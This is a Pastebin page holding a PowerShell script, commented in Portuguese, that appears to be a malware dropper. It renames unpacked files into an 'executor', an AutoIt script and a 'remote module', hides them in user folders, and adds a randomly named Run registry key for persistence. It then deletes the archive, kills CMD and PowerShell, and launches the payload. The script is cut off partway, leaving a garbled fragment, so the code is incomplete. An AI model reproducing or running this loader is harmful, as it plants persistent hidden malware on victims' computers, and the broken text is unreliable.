Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $strCaminhoArquivoLog = "$env:UserProfile\$env:ComputerName$env:UserName.$env:Processor_Revision"
- $bExisteArquivoLog = [System.IO.File]::Exists($strCaminhoArquivoLog)
- function gera-strrand
- {
- -join ((65..90) + (97..122) | Get-Random -Count $args[0] | % {[char]$_})
- }
- if (-Not $bExisteArquivoLog)
- {
- "" | Set-Content $strCaminhoArquivoLog
- $array = (0..4)
- $array[0] = [environment]::getfolderpath("Templates")
- $array[1] = [environment]::GetFolderPath("ApplicationData")
- $array[2] = [environment]::getfolderpath("MyDocuments")
- $array[3] = [environment]::getfolderpath("MyMusic")
- $array[4] = [environment]::getfolderpath("MyPictures")
- $Nu]
- Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strNomeModuloExecutor
- }
- if($strNomeArquivo.StartsWith("02"))
- {
- Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strNomeScriptAutoIt
- }
- if($strNomeArquivo.StartsWith("03"))
- {
- Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strNomeModuloRemoto
- }
- }
- Start-Sleep -s 3
- $registrokey = gera-strrand 9
- $regPath = 'HKCU:\SOFTWARE\Microsoft\Windows\Currentversion\Run'
- $Command = ("`"$strPathModuloExecutor`" `"$strPathScriptAutoIt`" `"$strPathModuloRemoto`"")
- New-Item $regPath -Force | Out-Null
- New-ItemProperty $regPath -Name "$registrokey" -Value "$Command" -Force | Out-Null
- Remove-Item -Path $strCaminhoCaixaZipada -Force
- Get-ChildItem -Path $strCaminhoCaixaZipada | Remove-Item -Force
- Stop-Process -name CMD
- Start-Process "$strPathModuloExecutor"
- Stop-Process -name Powershell
- cls
- exit
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement